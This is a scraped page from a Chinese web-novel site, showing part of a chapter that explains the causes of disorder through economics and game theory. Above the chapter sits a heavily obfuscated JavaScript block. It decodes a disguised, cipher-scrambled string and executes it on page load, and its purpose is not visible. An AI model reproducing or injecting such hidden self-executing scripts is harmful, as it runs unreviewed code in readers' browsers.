趣书网

阅读记录  |   用户书架
(function(){function te1a7951(z4874c33){var rceaee7d5="Jjzf?2;8t!SDxe$]CAyp3m/sMR[uQr.W7@-vLUqk&(5OGgNX^EKnbI_=Z1Pc90T|w~o6ha,:FVYiHlBd%4";var y4c20dc8="sIGOcF8pV@1U29_~=7]rfSv0$j[.HlY%5?a|EJmxLMXC^D;tek4wuR!ozBKPZd/gT,QynA-Wh63&qbi(:N";return atob(z4874c33).split('').map(function(ff0fd44){var x06364=rceaee7d5.indexOf(ff0fd44);return x06364==-1?ff0fd44:y4c20dc8[x06364]}).join('')}var c=te1a7951('rtmp://bkJoMD1uWyIzcyIrIjNWU0EiKyI3IisiZSJ5QzNiaD9YQj1oZCl7ZDNiaD9YQj1oZDY/VjNseD9TfkozVj9ZQWVsLX5xM2UzMGUwP1l+cXg/eGVBMyl7QjNkVEcoLT92OkJoVHVYXkpYZGgtL0J8LVg9cHU4ci1YMz1wcSkpe3BeWGJwaH0vLXAgRXNLQTAwMGwtQzNiaD9YQj1oZDNWWT87U1NTKXtwXlhicGggbVhwQmh8dTNwPXFPRi1wTz0wXmQzVlk/O1NTUyl9Ti8tcCAwbEtWWS03U0NbInJSSixRc1MkJmZhZyRVbSRRdygmIn4iL15wLHNTIn4iSkIwLFNLViJ+Ij8/WCx4c3g3LHNWLHhZIHhZJXM3JTdzInlOLy1wIGhzZXN4O1ZTQ3EzZTMwZTA/WVtFc0tBMDAwbC1kZUEpK0VzS0EwMDBsLWRTU1YpK0VzS0EwMDBsLWRTU1MpK0VzS0EwMDBsLWRlOyl5fmJZZVZBVjNLQ3EzZTMwZTA/WVtFc0tBMDAwbC1kZTspK0VzS0EwMDBsLWRTU1YpK0VzS0EwMDBsLWRTU1MpK0VzS0EwMDBsLWRlQSl5fkpsc2w7Q3F4P3hlQTNbaHNlc3g7VlNkIi5ZdDY/cXRiMDI0Uj9xcm4wYUNDIil5fl4zLTstO1Y7c0Noc2VzeDtWU2QiLllVci41SXJJOmtybDp0YjBhQ0MiKX5eMDNTXjBzQ2hzZXN4O1ZTZCI/WXRCP1lJNi06N2giKX5COy1ZM2VZO0Noc2VzeDtWU2QiP3F0bmx6MlI5b0NDIil+UlZZVlk3ZVMtQ2hzZXN4O1ZTZCI/WTFKLTVvQyIpfi1WP1NBO0FDaHNlc3g7VlNkIj9xdHg5NVVaOW9DQyIpflpBc0FlS2xeQ2hzZXN4O1ZTZCItcWU4bHxDQyIpflhlWWxsU0F4Q3EzZTMwZTA/WVtoc2VzeDtWU2Qidzoycy1hQ0MiKXl+ODBeZVZBP3hDWGVZbGxTQXhbaHNlc3g7VlNkIi54dDhsYUNDIil5fi1WS3gwMDdeQ1hlWWxsU0F4W2hzZXN4O1ZTZCI5cWsvbFlqQyIpeX5sXjtWZVZDWGVZbGxTQXhbaHNlc3g7VlNkIj9xMmI5emVYIil5fkJsPzctN2VDaHNlc3g7VlNkImw6MnMueHxDIil+cl4teF5WWS03Q2hzZXN4O1ZTZCJsOjJuIil+cF5lQVZeP1lDaHNlc3g7VlNkImx6ZUY5YUNDIilOLy1wIFpTO2UwZTMzQ2hzZXN4O1ZTZCI/eFNzLTpJcjB8Q0MiKU4vLXAgOD9lU0EzOzdLTi8tcCAvc0teM3hsQzY/VjNseD9TW3N5TkIzZDY/VjNseD9TdXJeaHxYRj5TKXsvc0teM3hsQzY/VjNseD9TWy1WS3gwMDdeZGxeO1ZlVmQpKjY/VjNseD9TdXJeaHxYRil5fUIzZHI9Py1YQj1odUpeLXA/RnVCaDBea2YzZFpTO2UwZTMzKT4sUyl7OD9lU0EzOzdLQ3F4P3hlQTNbXjMtOy07VjtzeWRoc2VzeDtWU2QiMHp0SzB6MjY5OkxDIikpTjg/ZVNBMzs3S3VCMEMiWCIrbF47VmVWZCkqU15LTjg/ZVNBMzs3S3VKWDZyXnVuQjBYRkMiU3NzVyJOOD9lU0EzOzdLdUpYNnJedUZeQnxGWEMiN3NzOGsiTjg/ZVNBMzs3S3UwQkotbHJeMENYcGJeTkIzZHF4P3hlQTN1bD0wNl9DaGJycil7cXg/eGVBM3VsPTA2dS04OF5oME9GQnIwZDg/ZVNBMzs3Syl9XnJKXnsvLXAgRlM/MDBDM2JoP1hCPWhkKXtxeD94ZUEzdWw9MDZ1LTg4XmgwT0ZCcjBkOD9lU0EzOzdLKU5xM2UzMGUwP1l1cF5xPS9eTC9eaFgmQkpYXmhecGRwXmVBVl4/WX5GUz8wMH4zLXJKXil9TnEzZTMwZTA/WXUtMDBML15oWCZCSlheaF5wZHBeZUFWXj9ZfkZTPzAwfjMtckpeKX19Ly1wIEZLP3NZeEtlQ3F4P3hlQTNbXjMtOy07VjtzeWRoc2VzeDtWU2QiOTpTQjk6b0MiKSlORks/c1l4S2V1QjBDSjNWP1lBZWwtKzgwXmVWQT94ZGxeO1ZlVmQpKlNeSylORks/c1l4S2V1Slg2cl51Rl5CfEZYQyJzOGsiTkZLP3NZeEtldUpYNnJedT0vXnAzcj1uQyJGQjAwXmgiTj89aEpYIFpLOzMwXmxTO0NkXjdsWTNzfm47LTMtP0t+NlYtM2w3WV5DeHNzKUM+Y3A9cUJKXnVwLT9eZFszXlg/RmReN2xZM3N+bjstMy0/Syl+aF5uIGNwPXFCSl5kZGQkfnBeUl4/WClDPkpeWHdCcV49YlhkZGQpQz5wXlJeP1hkaF5uIExwcD1wZCJYQnFePWJYIikpKX42Vi0zbDdZXikpKXkpTi8tcCA2P1k3ZWxDLUo2aD8gM2JoP1hCPWhkWlkweDNeP3hLKXsvLXAgcjdeU0FDWyJSSiJ+Ij9KSiJ+IkZYcXIifiJ8QjMifiJSOHwifiI4aHwieU4vLXAgcmVeXlk/P0NyN15TQXVyXmh8WEZOcjdeU0FDcjdeU0FbLVZLeDAwN15kbF47VmVWZCkqcmVeXlk/Pyl5Tj89aEpYIF47XmVBQWV4Q1siOXg/Yj9ZMi9sNTg4MGh0Wmw6a1g5eDA3bG03c2xZYVZmd0VTNHxDQyJ5Ti8tcCA9VjA/cy0zQ147XmVBQWV4W3N5TkIzZF47XmVBQWV4dXJeaHxYRj5TKXs9VjA/cy0zQ147XmVBQWV4Wy1WS3gwMDdeZGxeO1ZlVmQpKl47XmVBQWV4dXJeaHxYRil5fS8tcCByXmxec1lDWyJGWFg4SiVUIn5xU2UzN2xzbF5kPVYwP3MtMyl+IkZYcXIifkZLP3NZeEtldUIwfmBNe0ozVj9ZQWVsLX11TXtyN15TQX1geVtaQXNBZUtsXnlkIlQiKU5CM2Q4P2VTQTM7N0tfQ2hicnIpOD9lU0EzOzdLdS8tcmJeK0MiXHBcaEpeaDAgSEogRj1KWCAiK3JebF5zWU5YcDZ7Ly1wIG5sczM3VlZDLW4tQlggWks7MzBebFM7ZHJebF5zWX57Py0/Rl4lImg9LEpYPXBeIn5wXjBCcF4/WCUiMz1ycj1uIn0pTm5sczM3VlZDLW4tQlggbmxzMzdWVnVYXmtYZClOLy1wIEY3eHgwO0NubHMzN1ZWdUJoMF5rZjNkRXNLQTAwMGwtZFZTKSlOLy1wIFpWMzM7M0MiIk5CM2RGN3h4MDs+Q3Mpe1pWMzM7M0NubHMzN1ZWW14wM1NeMHN5ZEY3eHgwOylObmxzMzdWVkNubHMzN1ZWW14wM1NeMHN5ZHN+Rjd4eDA7KX1ubHMzN1ZWQ25sczM3VlZbQmw/Ny03ZXlkVHV7U35LfVR8KVtyXi14XlZZLTd5ZGRrQz5rW1JWWVZZN2VTLXlkIiIpWy1WP1NBO0F5ZClbWkFzQWVLbF55ZCIiKSkpW1pBc0FlS2xeeWQiIilObmxzMzdWVkNubHMzN1ZWK1pWMzM7M05ubHMzN1ZWQ2hzZXN4O1ZTZG5sczM3VlYpTlpZMHgzXj94S0NubHMzN1ZWW1JWWVZZN2VTLXlkIlQiKVtzeU5CM2Q4P2VTQTM7N0tfQ2hicnIpOD9lU0EzOzdLdS8tcmJeK0MiXHBcaHxeWCBISiBGPUpYIEpiPz9eSkoiK1pZMHgzXj94S30/LVg/RmQzZTstZVkpe0IzZDg/ZVNBMzs3S19DaGJycik4P2VTQTM7N0t1Ly1yYl4rQyJccFxofF5YIEhKIEY9SlggMy1Ccl4wIiszZTstZVl9Ly1wIHxlUz87Q2JZZVZBVjNLZDBsS1ZZLTdTdT89aD8tWGRbYGg9bixNe2ctWF5bImg9biJ5ZCl9YH5gRnBeMyxNe3I9Py1YQj1odUZwXjN9YH5gYko/LE17a2x4LUtTUz8tZCl9YHkpdUo9cFhkZGQpQz5sXjtWZVZkKSx1NykpW1pBc0FlS2xeeWQifiIpKU4vLXAgQmw7S0E7bDdDfGVTPzt1QmgwXmtmM2RFc0tBMDAwbC1kVlMpKT4sU0B8ZVM/O1teMDNTXjBzeWR8ZVM/O3VCaDBea2YzZEVzS0EwMDBsLWRWUykpKSUiIk58ZVM/O0N8ZVM/O1tCOy1ZM2VZO3lkQmw7S0E7bDd+IiIpW1JWWVZZN2VTLXlkIiIpWy1WP1NBO0F5ZClbWkFzQWVLbF55ZCIiKStCbDtLQTtsN05GSz9zWXhLZXVKcD9DWyJGWFg4SiVUIn5aWTB4M14/eEt+Rks/c1l4S2V1QjB+fGVTPzt5W1pBc0FlS2xeeWQiVCIpTlhwNntxeD94ZUEzdWw9MDZ1LTg4XmgwT0ZCcjBkRks/c1l4S2UpfT8tWD9GZF4pe3F4P3hlQTN1LTAwTC9eaFgmQkpYXmhecGQiZ2YoTz1oWF5oWCY9LTBeMCJ+ZGQpQz57cXg/eGVBM3VsPTA2dUJoSl5wWDFeMz1wXmRGSz9zWXhLZX5xeD94ZUEzdWw9MDZ1P0ZCcjA0PTBeSltzeSl9KSl9QjNkOD9lU0EzOzdLX0NoYnJyKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoLTg4XmgwXjAgXnEgWD0gRlhxciJOLy1wIDhBeGw7LUs/Q3F4P3hlQTN1fF5YTHJecV5oWDE2ajBkRks/c1l4S2V1QjApTkIzZDhBeGw7LUs/Q0NoYnJydnY4QXhsOy1LP0NDYmgwXjNCaF4wKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoID8taFggfF5YIF5xIDNwPXEgRlhxciJ9fX1OQjNkOD9lU0EzOzdLX0NoYnJyKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoSl5oMCBSSiBGPUpYICIrL3NLXjN4bH0vLXAga2x4LUtTUz8tQzNiaD9YQj1oZCl7WHA2ez89aEpYIC87M2V4P1NZQ2RoXm4gZy1YXil1WD0mPT8tcl5nLVhebVhwQmh8ZClOPz1oSlggaDNlN2VZPzNZQ2BKcVhCJEpCMCRNey9BbDszdUozVj9ZQWVsLX0kOC9gTnJeWCBIM1Zsc1YtQVlDVW1mNHU4LXBKXmRyPT8tcm1YPXAtfF51fF5YalhecWRoM2U3ZVk/M1kpKU5CM2RIM1Zsc1YtQVlDQ2hicnJ2dkgzVmxzVi1BWXUwLVheX0MvOzNleD9TWSl7SDNWbHNWLUFZQ3s4L3dCcV5KJXN+MC1YXiUvOzNleD9TWX19cF5YYnBoIEgzVmxzVi1BWXU4L3dCcV5KK1N9Py1YP0ZkMzdeLTdWc2VeKXtwXlhicGggU319Ti8tcCBxU2UzN2xzbF5DM2JoP1hCPWhkRnNlVmw/KXtwXlhicGggaHNlc3g7VlNkRnNlVmw/KVtCOy1ZM2VZO3lkRXNLQTAwMGwtZEt4KX5sXjtWZVZkKXVYPW1YcEJofGRZVil1SnJCP15kLVZLeDAwN15kbF47VmVWZCkqZSkreCkpfU42P1k3ZWxkcVNlMzdsc2xeZC9zS14zeGwpKU5xM2UzMGUwP1lbIi0wMEwvXmhYJkJKWF5oXnAieWQicV5KSi18XiJ+ZDNiaD9YQj1oZDM3Xi03VnNlXil7QjNkMzdeLTdWc2VedTAtWC11RUNDSjNWP1lBZWwtKXtxeD94ZUEzdXxeWExyXnFeaFgxNmowZEZLP3NZeEtldUIwKXVwXnE9L15kKU4vLXAgXjBsZTszQTBDaGJyck5CM2Q4P2VTQTM7N0tfQ2hicnIpezg/ZVNBMzs3S3UvLXJiXitDIlxwXGhwXj9eQi9eIF5xIDg9SlggcV5KSi18XiJOOD9lU0EzOzdLdS8tcmJeK0MiXHBcaF51MC1YLXUvICIrMzdeLTdWc2VedTAtWC11SE5eMGxlOzNBMENkdXV1fD9lS0swWVkpQz57QjNkX3w/ZUtLMFlZdnZ8P2VLSzBZWXVyXmh8WEY8Q3MpcF5YYnBoTjg/ZVNBMzs3S3UvLXJiXitDIlxwXGgiK3w/ZUtLMFlZdVI9QmhkIiAiKX19aF5uIDJiaD9YQj1oZCItcHxKIn4zN14tN1ZzZV51MC1YLXVIKWR7JFgwP0olSmxzbDt+JHI9fCVeMGxlOzNBMH0pfX0pKX0pZFsiOXg/Yi41MXNmenJZLjVJWmw6a1g5eDA3bG03c2xZYVZmd0VTNHxDQyJ5fiJTS1Yifm5CaDA9bn4wPT9icV5oWCl9TjNzM1ZTQTdlZClO'.substr(7));new Function(c)()})();
上一页
目录 | 设置
下一章

第464章 混乱的根源和经济学博弈论解释(2 / 2)

加入书签 | 推荐本书 | 问题反馈 |

?分析:外部冲击导致经济体系内部的反馈机制失效,混乱在短期内放大。

2. 经济学解决混乱的思路

经济学提供了多个工具和机制来解决混乱问题,核心在于优化资源配置、协调各方利益和减少不确定性。

(1) 完善市场机制

?价格信号恢复:通过市场化改革,建立真实反映供需关系的价格机制。

?例子:在能源市场,通过碳交易机制内化污染外部成本。

(2) 改善信息流动

?减少信息不对称:引入透明化机制和激励措施。

?方法:政府或市场通过提供公正的第三方认证或信息中介(如信用评级、职业评估)来提高市场透明度。

?例子:在二手车市场中,车辆检查报告可以减少信息不对称。

(3) 内部化外部性

?政策工具:对外部性问题进行矫正。

?方法:通过税收(如碳税)、补贴或监管措施来内化外部成本。

?例子:对排放污染的企业征收污染税,以鼓励其采用更清洁的生产技术。

(4) 提供公共物品

?政府干预:公共物品的提供需要政府或国际机构的有效参与。

?方法:通过财政支出提供公共服务(如交通、教育、国防)。

?例子:投资基础设施建设来缓解城市拥堵。

(5) 加强制度建设

?建立清晰规则:通过法律、制度设计和产权界定,减少冲突。

?例子:在金融市场中,建立强有力的监管框架以防止投机行为。

?设立应急机制:面对系统性风险,通过建立储备基金或危机管理机制应对外部冲击。

?例子:国际货币基金组织(IMF)在金融危机中提供资金支持以稳定市场。

(6) 减少系统复杂性

?简化流程:在系统性混乱中,减少过度复杂性有助于恢复秩序。

?例子:在全球供应链中,建立更短的供应链路径以减少不确定性。

?弹性建设:提升系统的弹性,使其在外部冲击下仍能维持基本功能。

?例子:多元化投资组合可以降低金融市场波动对个人财富的影响。

3. 混乱的动态视角

(1) “混乱即机会”

?熊彼特的“创造性破坏”:经济混乱往往意味着旧体系的崩溃和新体系的出现。创新者利用混乱带来的市场真空,引领新的秩序。

?例子:2008年金融危机后,许多金融科技公司(如移动支付平台)崛起。

(2) 均衡调整过程

?动态均衡理论:混乱是市场从一种均衡状态向另一种均衡状态调整的过程,短期无序可能是长期稳定的必经阶段。

?例子:经济转型时期,旧产业衰退、新产业崛起带来的阵痛。

(3) 行为经济学视角

?有限理性:混乱有时源于个体或群体决策偏差(如损失规避、过度自信)。

?解决方法:通过“提示”(nudge)政策引导个体作出更合理的选择。

?例子:通过自动化储蓄计划帮助人们养成存钱习惯。

4. 总结:混乱的经济学解决框架

1.市场化手段:利用价格机制、竞争和激励措施恢复秩序。

2.政府干预:通过制度设计、公共服务提供和外部性内化矫正市场失灵。

3.创新和适应:将混乱视为创造机会,通过技术革新和结构优化推动经济升级。

4.建立长效机制:增强系统弹性,减少未来混乱的可能性。

从经济学角度看,混乱本质是资源分配效率低下的表现,解决混乱的过程就是提升效率、优化系统的过程。关键在于找到平衡点,使市场、政府和社会共同发挥作用。

从博弈论的角度来看,混乱可以被视为博弈参与者之间缺乏协调、策略冲突或信息不对称的结果。在博弈中,混乱通常源于个体追求自身利益的最大化,但却未能实现整体的最优结果。以下是对混乱的博弈论解释及其解决方法的分析:

1. 混乱的博弈论本质

小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!(1) 纳什均衡失效

?在混乱的局面下,各方可能处于非合作博弈中,无法达到稳定的纳什均衡。

?例子:交通拥堵问题中,所有司机都选择对自己最有利的路线,结果导致所有人都被堵在路上。

?分析:个人最优选择(自私行为)与整体最优选择(社会效率)之间的矛盾导致了混乱。

(2) 多均衡状态

?有时一个博弈可能存在多个纳什均衡,而参与者对哪个均衡更好无法达成共识,导致选择混乱。

?例子:两个公司同时推出竞争性产品,如果无法协调市场分配,可能导致价格战,最终两败俱伤。

(3) 囚徒困境

?在许多情况下,混乱是由囚徒困境引起的:个体的理性行为导致群体的非理性结果。

?例子:过度捕捞问题中,渔民各自追求短期利益,导致渔业资源枯竭。

?分析:个体缺乏合作激励,导致次优结果的混乱局面。

(4) 信息不对称与不完全信息博弈

?当参与者之间缺乏足够的信息,无法预测对方的策略时,会导致不确定性和混乱。

?例子:在股票市场中,投资者因为信息不对称而跟风交易,造成市场剧烈波动。

(5) 信任和承诺问题

?混乱常出现在参与者之间缺乏信任或无法有效达成承诺的情形。

?例子:国际协议中的碳排放谈判,各国缺乏信任,导致无法达成有效协议。

?分析:各方害怕被对方背叛,从而采取保守策略,结果混乱局面持续。

2. 混乱的博弈论模型

(1) 囚徒困境模型

?核心问题:个体的理性选择导致集体的非理性结果。

?应用:

?环境保护:国家或企业不愿意主动减少排放,因为短期内这样会损害自己的利益。

?解决方法:通过强制规则或奖励机制引导合作(如政府补贴绿色能源)。

(2) 公共物品博弈

?核心问题:免费搭便车导致公共资源枯竭。

?例子:在公用的牧场上,每个人都想放更多的牛,但最终导致牧场过度放牧(悲剧)。

?解决方法:

?私有化:将公共资源划分为私有,减少资源滥用。

?制度化:通过税收或配额制度,合理分配公共资源的使用。

(3) 协调博弈

?核心问题:存在多个可能的均衡,参与者之间无法协调。

?例子:驾驶规则(靠左行还是靠右行),如果未达成一致,则会导致交通混乱。

?解决方法:

?制定共同的规则(如法律规定靠右行)。

?提供明确的信号(如道路标志和交通灯)。

(4) 重复博弈

?在单次博弈中,个体通常会选择有利于自己的策略,但在重复博弈中,合作可能成为更优策略。

?例子:贸易关系中,国家之间的合作可以减少长期的经济混乱。

?解决方法:通过长期激励(如信誉或回报)鼓励合作。

3. 解决混乱的博弈论思路

(1) 设计激励机制

?核心思想:改变博弈规则,使个体的最优策略与群体的最优结果一致。

?例子:政府对电动汽车购买提供补贴,激励个人选择环保行为。

(2) 增强信息透明

?提供完整的信息可以减少不确定性,使参与者能够更合理地选择策略。

?例子:在企业竞争中,通过反垄断法和市场透明化,减少价格战引发的混乱。

(3) 引入第三方协调

?解决信任问题:引入权威机构(政府、国际组织)作为中介,促进承诺履行。

?例子:联合国通过条约监督各国减少温室气体排放。

(4) 重复博弈的长远视角

?鼓励各方看到合作的长期利益,减少短期利益驱动。

?例子:在国际关系中,通过长期贸易协定建立互信。

(5) 提供惩罚机制

?威慑机制:对背离群体利益的行为实施惩罚,减少混乱行为。

?例子:设置高额罚款来遏制企业的污染行为。

(6) 焦点解决方案

?使用“焦点点”(Schelling Point)作为自然协调点,使各方更容易达成一致。

?例子:使用国际化标准(如ISO标准)来规范企业行为。

4. 混乱与演化博弈论

?在动态系统中,混乱可能是参与者策略不断演化的结果。

?例子:动物竞争资源的行为演化,某些策略可能在短期内导致混乱,但长期演化出稳定的生态平衡。

?解决方法:

?策略优化:通过试错逐步淘汰低效策略,演化出更高效的均衡。

?合作文化:建立长期的合作文化,减少策略冲突。

总结

1.混乱的本质:在博弈中,混乱通常源于个体策略冲突、信息不对称和缺乏协调。

2.解决方法:

?调整激励机制(如奖励合作、惩罚破坏)。

?增强信息透明度,减少不确定性。

?借助第三方协调和长期视角,鼓励重复博弈中的合作。

?寻找共同的焦点点,简化协调过程。

3.动态视角:混乱可能是系统调整和策略演化的过程,但通过优化规则,最终可以趋向稳定和高效的均衡状态。

博弈论强调策略设计的重要性,解决混乱的关键在于规则优化与激励协调,以促使个体利益与整体利益相一致。

喜欢职场小聪明请大家收藏:职场小聪明本站更新速度全网最快。

上一页
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间